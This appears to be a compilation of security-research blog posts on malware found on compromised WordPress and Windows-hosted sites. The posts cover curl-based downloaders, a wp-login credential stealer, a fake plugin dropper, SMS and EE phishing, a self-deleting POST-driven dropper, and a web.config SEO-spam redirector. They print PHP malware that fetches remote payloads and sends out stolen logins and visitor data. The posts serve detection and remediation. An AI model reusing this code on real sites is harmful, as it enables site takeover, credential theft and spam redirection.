Malicious Curl Downloader

If you want to easily download and save remote files, curl is an excellent command-line tool for Windows and Unix. It supports HTTP, HTTPS, and FTP protocols and allows for custom HTTP headers, which makes it a common feature in some of the malware we find on compromised sites.

For example, during a recent cleanup we found this malicious script using curl to download code from and save it into a local file on the website.


chmod($_SERVER['DOCUMENT_ROOT']."/wp-load.php", 0644);
chmod($_SERVER['DOCUMENT_ROOT']."/index.php", 0644);
chmod($_SERVER['DOCUMENT_ROOT']."/.htaccess", 0644);
chmod($_SERVER['DOCUMENT_ROOT']."/wp-load.php", 0644);
chmod($_SERVER['DOCUMENT_ROOT']."/index.php", 0644);
chmod($_SERVER['DOCUMENT_ROOT']."/.htaccess", 0644);

function http_get($url){
    $im = curl_init($url);
    curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
    curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($im, CURLOPT_HEADER, 0);
    return curl_exec($im);

$hector0 = $_SERVER['DOCUMENT_ROOT'] . "/.htaccess" ;
$hectortxt2 = http_get('hxxps://');
file_put_contents($hector0, $hectortxt2);

$hector777 = $_SERVER['DOCUMENT_ROOT'] . "/index.php" ;
$hectortxt777 = http_get('hxxps://');
$open777 = fopen($hector777, 'w');
fwrite($open777, $hectortxt777);


The http_get function initiates curl and downloads the malicious content before file_put_contents is used to save the malicious content into the appropriate file. fwrite was also used for some reason, likely for compatibility purposes.

In this case, the malicious code is downloading additional backdoors and malware — but the file defined here can be easily modified to instruct the malware to download anything the attacker wants.

One of the best methods to prevent and detect the modification of your index.php files is to set up tighter file permissions that restrict write access and employ a file integrity monitoring tool to notify you of any changes. Or, simply use a website firewall to mitigate the compromise in the first place.

WordPress Admin Login Stealer

During an investigation, we identified a WordPress login stealer using the PHP functions curl and file_get_contents. The malicious code was injected into the core file wp-login.php to intercept the information of a valid user and send it to the attacker.

The script gathers the site URL, IP, username and password details, then sends them to the remote site via curl.

if(empty($ccc)){function get_pass_Html($url){$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 1);
curl_setopt ($ch, CURLOPT_TIMEOUT, 2);
return true;

Further analysis reveals that the base64 encoded string in this malicious script is actually the attacker’s URL:


Here is the information sent via curl:


Malware Variants & Sub-Domains

This login stealing malware appears to have been distributed and used on other websites for about a year now. The same top-level domain has also been seen in other malware variations, but uses a different subdomain: 5[.]saleforyou[.]org


Another variation also appears to be collecting server IP and HTTP_HOST using a different URL on the same domain:

curl_init();$timeout = 5;curl_setopt ($ch, CURLOPT_URL, $url);curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$content = curl_exec($ch);curl_close($ch);}return $content;}$jturl = "http://1[.]saleforyou[.]org/tong/get/htc/1.php?adminip=".$server_ip."&host=".$_SERVER['HTTP_HOST'];
  • saleforyou[.]org. 300 IN A \ Enzu Inc.
  • 1.saleforyou[.]org. 300 IN A \ Enzu Inc.
  • 2.saleforyou[.]org. 300 IN A \ Enzu Inc.
  • 3.saleforyou[.]org. 300 IN A \ Enzu Inc.
  • 4.saleforyou[.]org. 300 IN A \ Enzu Inc.
  • 5.saleforyou[.]org. 300 IN A \ Shock Hosting LLC
  • 6.saleforyou[.]org. 300 IN A \ Shock Hosting LLC

It looks like Enzu Inc. has a long history of facilitating malware, spam, and general abuse; their IPs are listed in Stop Badware’s top 50 lists:

Each subdomain is being used for a different campaign, with some hosted on different servers — and even different datacenters.

Related Domains

Another domain, bingstyle[.]com, appears to be related. Attackers are using a similar URL structure for malicious files: tong/pa/pass.php

  • bingstyle[.]com. 300 IN A
  • bingstyle[.]com. 300 IN A

These Virustotal results suggest a relationship to saleforyou[.]org, or at least the same group:

Unfortunately, bingstyle[.]com is using CloudFlare and we are unable to tell exactly where it's hosted.

Mitigation Steps

Login credential stealers like this one can easily be used as a backdoor to maintain unauthorized access to a website long after the initial infection. The malicious script will simply continue to send the stolen login credentials to the attacker until it is removed from the compromised environment.

To catch these types of infections, set up and maintain a file monitoring system to alert you to any changes in your core WordPress files and detect malicious activity along with other indicators of compromise.

Fake M-Shield WordPress Plugin

During a recent malware investigation, we found a fake WordPress plugin called M-Shield. We also found almost an identical plugin under the name kingof, with malicious code hosted in the file: ./wp-content/plugins/kingof/kingof.php

Based on the patterns commonly used for malware droppers, we suspect that this same plugin is circulating with a variety of different names. Since neither the M-Shield nor the kingof plugins exist in the official WordPress repository, the malicious component was most likely injected into the WordPress website after the initial compromise.

The plugin code loops through an array of “random” files to check if they exist and their filesize is lower than 1000 bytes. If the condition isn’t met, the script downloads this malicious wsos.txt file from 24hod[.]sk using the function file_get_contents() and injects into contents into the files from the $amb array.

function shield_01()
    $amb = array('wp-pwd.php', 'wp-shield.php', 'wp-logout.php', 'wp-config-proto.php', 'wp-content/themes/ms.cache.php');
    foreach($amb as $f) {
            if(!file_exists($f)||filesize($f)<1000) {
                $wsd = file_get_contents('hxxp://www[.]24hod[.]sk/colours/layout/wsos.txt');

Once the malicious payload has been delivered, the plugin uses two different methods to execute the malware.

First, the malware leverages a WordPress function called add_action() that attempts to run shield_01() when the init hook is executed. If the function add_action() doesn’t exist, the malicious code calls shield_01() directly.

    add_action( 'init', 'shield_01');

It’s important to note that attackers can leverage plugin vulnerabilities and other malicious code even if a plugin is deactivated in your WordPress environment.

We highly recommend regularly auditing your plugins and themes and removing any unknown or unused components from your website. Our free guides offer more WordPress security hardening tips to help you secure your environment.

Phishing and Malware via SMS Text Message

We’ve recently noticed an increase in reports of phishing and malware being distributed via SMS text messages.

During one investigation, we identified fake messages sent from a random number pretending to be Amazon. The message contents ask the victim to click on the link to confirm their shipping address.

Fake Amazon phishing text message

The URL bears no resemblance to Amazon and clearly doesn’t employ Amazon’s URL shortener ( Unfortunately, we were unable to confirm exactly what the attackers were directing users to since hxxp://k8esv[.]info now returns a 404 (Not Found) response, but it's clear that it’s being used for phishing or malware.

In most phishing cases seen distributed via SMS, victims are taken to a fake page ― for example, one that looks like Amazon’s signup page ― and asked to login to access important order information or confirm a purchase.

To the untrained eye, these SMS phishing pages might appear to belong to the real Amazon website, but submitting login credentials typically results in a successful phish ― and an account compromise.

The suspicious domain is hosted on which also appears to be hosting other similar domains:

suspicions phishing domains hosted on

The IP address belongs to Alibaba Cloud: LLC AL-3 (NET-47-235-0-0-1) -


The domain was registered through and has WHOIS protection, so we can’t see who was responsible for registering hxxp://k8esv[.]info. What we can tell is that these other suspicious domains were also registered there, suggesting the same person was involved.

We’re finding many variations of SMS phishing campaigns, and not every text looks the same. Users should always exercise caution when receiving SMS from unknown numbers.

To mitigate risk, avoid clicking on any links inside text messages ― especially if they are coming from an unknown number and lead to suspicious URLs. If you receive an SMS message similar to this one, login directly to your Amazon account via the Amazon website and check if there are any issues or status updates that require your attention from the account dashboard.

We will continue investigating this campaign to see if we can get more details about the attack.

EE wireless provider phishing malware

A large number of phishing targets include popular services such as banks, payment providers, and email services.

In this type of attack, fraudsters create fake pages that appear to be legitimate content, but instead trick victims into disclosing sensitive information such as email accounts, logins, and passwords. This information is then collected and sent to them via email, or saved on a file in a compromised environment. The stolen information can be used to make fraudulent purchases, money transfers, sold on the darknet for profit, or other kinds of illegal activities.

During a recent remediation response, we found a phishing campaign that was targeting a very specific service — the popular UK wireless phone, broadband, and landline provider “EE”.

The malware itself is not very complex. It shows victims a copy of the original “EE” login page, which has been designed to trick users into entering their account information. Just like the majority of other phishing scams, the user is prompted to login in order to proceed.

Any submitted credentials are then emailed to the bad actor and are (likely) used to access their account.

An interesting aspect of this particular campaign is that the malicious script appears to be only targeting mobile users. It also records the user’s IP from whenever the page is accessed.
Here is a small snippet:

$useragent = $_SERVER['HTTP_USER_AGENT'];

if(preg_match('/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i',$useragent)||preg_match('/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i',substr($useragent,0,4)))  {

$_SESSION['mobile'] = true;


if(isset($_SESSION['mobile'])) {

   $mobile = true;


$v_ip = $_SERVER['REMOTE_ADDR'];
$hash = md5($v_ip);

The beginning of the form collects the login details and includes the hashed IP of the user:

<form name="userInformationForm" id="userInformationForm" 
method="POST" autocomplete="off" 
class="capture_form capture_userInformationForm" 
accept-charset="UTF-8" action="details.php?&sessionid=<?php echo $hash; ?>&securessl=true" 
onsubmit="return empty()">

The rest of the page is an exact copy of the login page found on the original site, but a few changes have been to the form responsible for submitting the login credentials — they are sent to another file and emailed to the attacker.

It's not entirely clear what are the objectives behind this phishing attempt are. Our first assumption was that bad actors were remotely accessing the SMS messages to capture a 2FA code sent from other services, however a quick investigated revealed that EE doesn't provide this service.

The second guess was that attackers are using the stolen credentials to change EE’s DNS servers on broadband routers to redirect customers to other phishing pages, however it doesn't seem to be possible.

If you use this provider and have some clues for us, please reach our team at labs[at]sucuri[dot]net.

Self-destruct malware

The majority of malware we find on compromised websites have been planted by bad actors with the intention of concealing and accessing backdoor access.

During a recent investigation, we found an interesting variation of this technique. The code was intentionally created to inject backdoors and other tools, but possessed an unusual feature: the injected content is executed only once before self-destructing.

Here is the sample:

    $a =base64_decode(strtr($_POST['zzz'], '-_,', '+/='));
    $a='<?php '.$a.'?>';


This malware is pretty simple and consists of only 13 lines. The code expects a $_POST request with the zzz variable.

Similarly to a malware dropper technique, the zzz variable is decoded and written into another file 407.php. In the statement require_once(), the injected content is evaluated (executed) and subsequently removed with the unlink() call.

The malware doesn't rely on known abused executable functions (for example, the eval() function) and doesn't store any encoded content, which are features that commonly trigger scanners used to detect possible malicious files.

web.config redirect malware

We recently found this malware on a windows hosting server where the web.config file was modified with the following code:

The code redirects multiple user agents and users referred from Google,Yahoo, MSN etc. to conceit-gleaned.php
The file conceit-gleaned.php contains the malware that is encoded to avoid detection, but we were able to reverse it and pull the plain text code.The malware communicates with the website gettheseorders[dot]ru in order to redirect users to the page they want. In this case, it redirected to Viagra-related pages but it could be anything in the future.

This is the malware added to the file conceit-gleaned.php:

<?php $ZdcIihIC="bSh8gtxCo6JlYQiK4AkwdIDe_VnN7OTfFr3sPZHaG291jRUqmcvXMzEy50puLWB";$wHnnxSifPdjM=$ZdcIihIC[0].
 $ZdcIihIC[39] . $ZdcIihIC[35] . $ZdcIihIC[23]. $ZdcIihIC[9] .$ZdcIihIC[16] . $ZdcIihIC[24]. $ZdcIihIC[20] .
 $ZdcIihIC[23]. $ZdcIihIC[49].$ZdcIihIC[8].$ZdcIihIC[20] .$ZdcIihIC[23];$cQBlOMOpUwc=$ZdcIihIC[4].$ZdcIihIC[53] .
 $ZdcIihIC[14].$ZdcIihIC[26] .$ZdcIihIC[31] .$ZdcIihIC[11] . $ZdcIihIC[39] .$ZdcIihIC[5]. $ZdcIihIC[23];
 $bHUDmvkyJ=$ZdcIihIC[23]. $ZdcIihIC[33].$ZdcIihIC[33] . $ZdcIihIC[8] .$ZdcIihIC[33] .$ZdcIihIC[24] .
  $ZdcIihIC[33] .$ZdcIihIC[23]. $ZdcIihIC[58] .$ZdcIihIC[8]. $ZdcIihIC[33] .$ZdcIihIC[5].$ZdcIihIC[14]. 
  $ZdcIihIC[26] .$ZdcIihIC[4];$cBpAXxrcExTv=$ZdcIihIC[49].$ZdcIihIC[33]. $ZdcIihIC[23] . $ZdcIihIC[39].
   $ZdcIihIC[5]. $ZdcIihIC[23].$ZdcIihIC[24]. $ZdcIihIC[31]. $ZdcIihIC[59]. $ZdcIihIC[26].$ZdcIihIC[49]. 
   $ZdcIihIC[5]. $ZdcIihIC[14]. $ZdcIihIC[8] . $ZdcIihIC[26];$bHUDmvkyJ(0);

We were able to reverse it and this is the code that causes the redirect:

Here is the full script after we decoded it:

function change_page_regex($page, $links,$reg,$res){
$elements = array(); if (preg_match_all($reg, $page, $result)) { 
$elements = $result[$res]; $elements = array_unique($elements);
for ($i = 0; $i < $m; $i++) { $link = array_shift($links); $element = array_shift($elements); $page = preg_replace('/' . preg_quote($element, '/') . '/', '$0 ' . $link, $page, 1); } if (count($links)>0){ $element = "<p>"; $element .= implode("<br>\n", $links); $element .= "</p>"; $page = preg_replace('/\<\/body\>/i', "\n" . $element . "\n$0", $page, 1); return $page;}
function curly_page_get($url,$useragent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"){ $ch = curl_init (); curl_setopt ($ch, CURLOPT_URL,$url); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_TIMEOUT, 3000); curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt ($ch, CURLOPT_USERAGENT, $useragent); $result = curl_exec ($ch); $curly_page_get_info=curl_getinfo($ch);
curl_close($ch); return array($result,$curly_page_get_info);}
function get_proxy_page(){ $proto=stripos(@$_SERVER['SERVER_PROTOCOL'],'https') === true ? 'https://' : 'http://'; $crurl=$proto.@$_SERVER['HTTP_HOST'].@$_SERVER['REQUEST_URI']; list($buf,$curly_page_get_info)=curly_page_get($crurl);
$ct=@$curly_page_get_info['content_type']; $nexturl=@$curly_page_get_info['redirect_url']; $status=@$curly_page_get_info['http_code']; if (status!="")header("Status: $status");
if ($ct!=""){ header("Content-type: $ct"); if ($nexturl!=""){ header("Location: $nexturl"); return array($buf,$ct);
if (function_exists('sys_get_temp_dir')) {$tmppath = sys_get_temp_dir();if (!is_dir($tmppath)){ $tmppath = (dirname(__FILE__)); } } else { $tmppath = (dirname(__FILE__));}
if (($x!="")&&($p==$md5pass)){
if ($x=="2"){ echo "###UPDATING_FILES###\n"; list($buf1,$curly_page_get_info)=@curly_page_get("http://update.".$domain."/images/".$md5host."/emoji1.png"); @file_put_contents($configs,$buf1); list($buf1,$curly_page_get_info)=@curly_page_get("http://update.".$domain."/images/".$md5host."/metaicons.jpg"); @file_put_contents($bd,$buf1); list($buf1,$curly_page_get_info)=@curly_page_get("http://update.".$domain."/images/".$md5host."/wp-themesall.gif"); @file_put_contents($templ,$buf1);
 if ($x=="4"){ echo "###WORKED###\n";exit; 
$cf=array(); if (@file_exists($configs)){ $cf=@unserialize(@base64_decode(@file_get_contents($configs))); if (@isset($cf[$md5urx])){ $bot=0;$se=0;$ua=@$_SERVER["HTTP_USER_AGENT"];$ref=@$_SERVER["HTTP_REFERER"];$myip=@$_SERVER["REMOTE_ADDR"]; if (preg_match("#google|bing\.com|msn\.com|ask\.com|aol\.com|altavista|search|yahoo|conduit\.com|charter\.net|wow\.com|mywebsearch\.com|handycafe\.com|babylon\.com#i", $ref))$se=1; if (preg_match("#google|gsa-crawler|AdsBot-Google|Mediapartners|Googlebot-Mobile|spider|bot|yahoo|google web preview|mail\.ru|crawler|baiduspider#i", $ua))$bot=1; $off=$cf[$md5urx]+0; $template=@base64_decode(@file_get_contents($templ));$f=@fopen($bd,"r");@fseek($f,$off);$buf=trim(@fgets($f,10000000));@fclose($f);$info=unserialize(base64_decode($buf)); $keyword=@$info["keyword"];$IDpack=@$info["IDpack"];$base=@$info["base"];$text=@$info["text"];$title=@$info["title"];$description=@$info["description"];$uckeyword=ucwords($keyword);$inside_links=@$info["inside_links"]; if ($bot) { if (isset($info["contenttype"])){$contenttype=@base64_decode($info["contenttype"]);$types=explode("\n",$contenttype);foreach($types as $val){$val=trim($val);if($val!="")header($val);}}
if (isset($info["isdoor"])){
if (isset($info["standalone"])){ $doorcontent=base64_decode($text); echo $doorcontent;exit; }else{ $template=str_replace("%text%",$text,$template); $template=str_replace("%title%",$title,$template); $template=str_replace("%description%",$description,$template); $template=str_replace("%uckeyword%",$uckeyword,$template); $template=str_replace("%keyword%",str_replace(" ", ",", trim($keyword)),$template);
foreach($inside_links as $i => $link){ $template=str_replace("%INSIDE_LINK_".$i."%",$link,$template); }
echo $template;exit; } }else{
if (stristr($ct,"text/html")){ $rega='/\<a\s.*?\>.*?\<\/a\>/i';$resa=0; $links=$info["links_a"]; $buf=change_page_regex($buf,$links,$rega,$resa);
$regp='/(.{30}\<\/p\>)/is';$resp=1; $links=$info["links_p"]; $buf=change_page_regex($buf,$links,$regp,$resp);
echo $buf; }
} if ($se) { if (isset($info["isdoor"])){ list($buf1,$curly_page_get_info)=curly_page_get("http://$domain/ff.php?ip=".$IDpack."&mk=".rawurlencode($keyword)."&base=".rawurlencode($base)."&d=".rawurlencode($host)."&u=".rawurlencode($urx)."&addr=".$myip."&ref=".rawurlencode($ref),$ua); echo $buf1;exit; }else{ list($buf,$ct)=get_proxy_page(); echo $buf;exit; } } }else{
list($buf,$ct)=get_proxy_page(); echo $buf; 

You can see here that different data is recorded. By providing only the first two variables, we were still redirected to a spam site:


I was able to get redirected to the following spam/scam sites:


In this case, the web.config file was used to facilitate this redirect, as this was a Windows hosting environment, but it can easily be adopted to work under Linux. We recommend checking the .htaccess file or the web.config file if you are dealing with a similar problem. Also removing the malicious files; the path to them can be found in the configuration files I previously mentioned.